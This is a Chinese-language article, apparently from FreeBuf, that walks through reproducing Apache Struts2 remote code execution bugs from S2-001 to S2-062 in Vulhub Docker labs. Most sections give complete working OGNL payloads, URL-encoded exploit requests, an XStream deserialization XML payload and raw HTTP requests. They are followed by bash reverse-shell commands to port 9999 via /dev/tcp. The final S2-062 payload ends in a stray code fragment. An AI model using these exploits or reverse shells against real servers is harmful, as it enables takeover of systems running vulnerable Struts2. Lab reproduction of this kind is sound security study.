常见框架漏洞复现—Apache Struts2
2022-4-15 10:55:31 Author: www.freebuf.com(查看原文) 阅读量:63 收藏

在虚拟机中安装docker环境具体就不演示了Vulhub - Docker-Compose file for vulnerability environment

如何判断Struts2框架

常规的办法有:
1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。
2、通过网页后缀来判断,如.do.action,有可能不准。
3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
其它的方法:通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。利用方法:如原始 URL 为 https://threathunter.org/则检测所用的 URL 为
https://threathunter.org/?actionErrors=1111
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:
1、 页面直接出现 404 或者 500 等错误。
2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。
3、 页面的内容结构发生了明显的改变。
4、 页面发生了重定向。

S2-001 远程代码执行漏洞

影响范围: Struts 2.0.0 - Struts 2.0.8

漏洞原理:该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

docker打开环境

对漏洞进行测试,首先在输入框输入%{1+1},点击登陆,我们可以看到我们提交的%{1+1}触发了错误,然后被解析成了2,说明漏洞存在

1647572027_6233f43ba3e065cd17c13.png!small

尝试获取tomcat路径。结果如下:

%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}

1647567900_6233e41cd9a770b7a0314.png!small

尝试获取Web路径。结果如下:

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

1647567946_6233e44add8a7234258b2.png!small

替换下面{“pwd”}构造想要执行的命令:如{"cat","/etc/passwd"}

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

1647568105_6233e4e9c909f6751e5e4.png!small

反弹shell   {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.124.13/9999 0>&1"}

1647571906_6233f3c24fb6c53f5eb5e.png!small

S2-005 远程代码执行漏洞

影响范围:Struts 2.0.0 - Struts 2.1.8.1

漏洞原理:s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过”#“来访问struts的对象,struts框架通过过滤“#”字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制

payload,执行任意命令POC(无回显,空格用@代替),GET传输拼接

http://127.0.0.1:8080/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%[email protected]/tmp/success%22.split(%[email protected]%22))')(%5cu0023rt%[email protected]@getRuntime()))=1

执行以后没有回显,还是原来的界面,但创建了一个success文件夹

1647578227_62340c739aaba6a877d60.png!small

POC放到tomcat8下会返回400,研究了一下发现字符\"不能直接放path里,需要urlencode,编码以后再发送就好了。这个POC没回显。

尝试了一下反弹shell失败了,有知道的大佬可以讨论一下

/bin/[email protected]@%[email protected]@%3E%[email protected]/dev/tcp/192.168.124.13/[email protected]%3E%261%27

S2-007 远程代码执行漏洞

影响版本:2.0.0 - 2.2.3

漏洞原理:S2-007漏洞一般出现在表单处。当配置了验证规则 <ActionName>-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

1647664589_62355dcd8c2b37fe1c67c.png!small

age来自于用户输入,传递一个非整数给id导致错误,后端用代码拼接"'+(value)+'"然后对其进行 OGNL 表达式解析,从而导致了漏洞,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

payload

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@[email protected](@[email protected]().exec('id').getInputStream())) + '

1647664863_62355edf2a69fed52b111.png!small

这个payload使用普通反弹shell的命令反弹不了绕过exec获取反弹shell | Spoock

后来发现在linux中还存在[email protected]和$*,他们的含义都是list of all arguments passed to the script

exec("/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/172.20.10.13/9999 0>&1")

1647667023_6235674fd5a538179b4bb.png!small

S2-009 远程代码执行漏洞

影响版本: 2.1.0 - 2.3.1.1

漏洞原理:这个漏洞再次来源于s2-003、s2-005

Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防御。

访问http://your-ip:8080/ajax/example5.action即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:创建success验证漏洞

http://127.0.0.1:8080/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

1647673232_62357f90903b40d0d05da.png!small

反弹shell payload

/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A

1647673575_623580e715c0597c2cc38.png!small?1647673574782

S2-012 远程代码执行漏洞

影响版本: 2.1.0 - 2.3.13

漏洞原理:在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量

1647676245_62358b55b59a6c431c418.png!small?1647676245452

这样的话,只要传入S2-001中的poc就可以任意代码执行,就不发了,见上面

S2-013/014 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.14.1

漏洞原理:

Struts2 标签中 <s:a>和 <s:url>都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

  1. none - 链接不包含请求的任意参数值(默认)
  2. get - 链接只包含 GET 请求中的参数和其值
  3. all - 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

payload:

127.0.0.1:8080/link.action?a=%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28%23d%29%2C%23out.close%28%29%29%7D

1647679872_62359980a37ed8623bd5c.png!small?1647679872224

反弹shell payload

/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A

1647679857_6235997156b64fb84df90.png!small?1647679856951

S2-014 则是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式

S2-015 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.14.2

漏洞原理:漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式。远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码

payload:

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%2C%23q%7D.action

1647681560_6235a018e2bf393592b03.png!small?1647681560505

由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功

S2-016 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.15

漏洞原理:在struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。

/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

1647682947_6235a583b856ce0fc2cb7.png!small?1647682947364

反弹shell payload

/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A

1647683200_6235a680abd8eee24dbd9.png!small?1647683200501

S2-032 远程代码执行漏洞

影响版本:Struts 2.3.20 - 2.3.28(2.3.20.3和2.3.24.3除外)

漏洞原理:Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。

直接请求如下URL,即可执行id命令,payload:

http://127.0.0.1:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@[email protected]().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

1647693812_6235cff460936d0c63e1a.png!small?1647693811805

反弹shell:

cmd=/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A

1647695975_6235d867c261b4db572cd.png!small?1647695975255

S2-045 远程代码执行漏洞

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞原理:在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

打开环境,随便上传个东西

1647699049_6235e46949609b96e2d0d.png!small?1647699048688

抓包修改Content-Type部分,验证漏洞

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

1647700276_6235e9347d14fc842fdfb.png!small?1647700276018

POC:修改ls构造命令

Content-Type:%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

1647701465_6235edd94847fbd95bc5f.png!small?1647701464753

反弹shell:cmd="/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.74/9999 0>&1'"

1647701662_6235ee9e8ad0cd30c5a8d.png!small?1647701662070

S2-046 远程代码执行漏洞

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞原理:

1.系统必须使用 Jakarta 插件,检查 Struts2 配置文件中是否有以下配置:<constant name=“struts.multipart.parser”value =“jakarta-stream”/>

2.上传文件的大小(由 Content-Length 头指定)大于 Struts2 允许的最大大小(2GB)

3.文件名内容构造恶意的 OGNL 内容。

如果满足以上要求,Struts2 受影响版本将创建一个包含攻击者控制的异常文件名,使用 OGNL 值堆栈来定位错误消息,OGNL 值堆栈将插入任何 OGNL 变量($ {}或%{})作为 OGNL 表达式,然后实现任意代码执行。

与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用%00截断,在bp抓包后将%00进行URL解码 。(复现过程中发现好像Content-Length没有大于2GB也可以)

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('1_Ry',6*6)}%001_Ry

1647754098_6236bb722782549a4cc32.png!small?1647754097815

1647754932_6236beb4bf2454545b70c.png!small?1647754932201

同样使用S2-045的payload,不同的是在后面加%00截断

%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}%001_Ry

1647755071_6236bf3f4124905eb8d39.png!small?1647755070715

反弹shell payload见上

S2-048 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.32

漏洞原理 :Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行

打开环境访问http://127.0.0.1:8080/showcase/

1647756841_6236c629dbe6563e49657.png!small?1647756841348

触发OGNL表达式的位置是Gangster Name这个表单。

输入${1+1}即可查看执行结果(剩下两个表单随意填写):

1647756882_6236c6526073de5d25cf1.png!small?1647756881820

POC:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@[email protected]().exec('id').getInputStream())).(#q)}

1647756988_6236c6bcc7305f06a12b0.png!small?1647756988274

反弹shell

/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.31.74/9999 0>&1

1647757063_6236c707da4e09b8c25bd.png!small?1647757063426

S2-052 远程代码执行漏洞

影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞原理:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可能会遭到远程代码执行攻击

启动环境后,访问http://127.0.0.1:8080/orders.xhtml

1647759711_6236d15f809e0246383b3.png!small?1647759710907

由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

点击Edit抓包,修改包

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

1647761880_6236d9d87c253c371db31.png!small?1647761879937

1647761996_6236da4c15ffa8152f98b.png!small?1647761995447

反弹 shell(这里>&需要html编码)

<string>/bin/bash</string>
<string>-c</string>
<string>bash -i &gt;&amp; /dev/tcp/192.168.31.74/9999 0&gt;&amp;1</string>

1647762542_6236dc6e17a24c545050d.png!small?1647762541522

S2-053 远程代码执行漏洞

影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

漏洞原理:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

环境运行后,访问127.0.0.1:8080/hello.action

输入如下Payload即可成功执行命令:(注意最后还有一个换行符)

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@[email protected](#process.getInputStream()))}

1647765450_6236e7cad3043ea9b3d30.png!small?1647765450365

反弹shell:

cmd="/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.74/9999 0>&1'"

1647765535_6236e81f6ef9564df6b62.png!small?1647765534851

S2-057 远程代码执行漏洞

影响版本 : Struts 2.3 - 2.3.34、Struts 2.5 - 2.5.16

漏洞原理:网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

环境运行后,访问http://127.0.0.1:8080/struts2-showcase

验证漏洞,该名称空间将由用户从URL传递并解析为OGNL表达式

http://127.0.0.1:8080/struts2-showcase/${(1+1)}/actionChain1.action

1647766459_6236ebbb82dc22374b2d9.png!small?1647766458875

URL编码后的POC,替换${1+1}

%24%7B%0A%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D

1647766893_6236ed6d458d620599222.png!small?1647766892656

反弹shell

/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A

1647767069_6236ee1d7437f758c570a.png!small?1647767068851

S2-059 远程代码执行漏洞

影响版本 : Struts 2.0.0 -  2.5.20

漏洞原理:Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。

环境启动后,访问http://127.0.0.1:8080/?id=1

1647767717_6236f0a5d9472b6ad590f.png!small?1647767717168

1647767874_6236f14221872973cb8a9.png!small?1647767873432

可以看出 id 属性中返回了1+1的结果

抓包,将GET类型改为POST

1、GET修改为POST方法
2、加上媒体类型信息:Content-Type: application/x-www-form-urlencoded
3、末尾添加需上传语句:id=xxx

将以下URL编码后的payload按顺序替换id发送数据包,生成success文件验证漏洞

payload1:
id=%25%7B%28%23context%3D%23attr%5B%27struts.valueStack%27%5D.context%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D
payload2:
id=%25%7B%28%23context%3D%23attr%5B%27struts.valueStack%27%5D.context%29.%28%23context.setMemberAccess%28%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29%29.%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%7D

1647770066_6236f9d26c2346d2912f6.png!small?1647770065788

替换命令反弹shell

/bin/bash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26/dev/tcp/192.168.31.74/9999%200%3E%261%0A%0A%0A

1647776912_623714902104d374e594d.png!small?1647776911354

S2-061 远程代码执行漏洞

影响版本 : Struts 2.0.0 - Struts 2.5.25

漏洞原理:S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒

启动环境访问http://127.0.0.1:8080/index.action

和S2-059一样验证漏洞,可以看到存在漏洞

1647777472_623716c0f1d8e31f50bbf.png!small?1647777472266

尝试了一下使用S2-059的Payload不行,直接上POC

POST /index.action HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

1647777992_623718c8840cdf019f389.png!small?1647777991844

替换id反弹shell

/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.31.74/9999 0>&1

1647778127_6237194f7efc140a8b3d7.png!small?1647778126751

S2-062 远程代码执行漏洞

影响版本 : Struts 2.0.0 - Struts 2.5.29

漏洞原理:该漏洞(CVE-2021-31805)是由于对 CVE-2020-17530 (S2-061) 发布的修复不完整,某些标签仍然可以进行2次表达式解析。如果开发人员通过使用%{...} 语法对某些标签属性中未经验证的原始用户输入进行二次解析时,可能会导致远程代码执行 - 与S2-061相同。

payload

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=\"id\"

%{
(#request.map=#@[email protected]{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) 
(#request.map2=#@[email protected]{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) 
(#request.map3=#@[email protected]{}).toString().substring(0,0) 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) 
(#request.get('map3').put('excludedPackageNames',#@[email protected]{}.keySet()) == true).toString().substring(0,0) 
(#request.get('map3').put('excludedClasses',#@[email protected]{}.keySet()) == true).toString().substring(0,0) 
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)

文章来源: https://www.freebuf.com/vuls/325493.html
如有侵权请联系:admin#unsafe.sh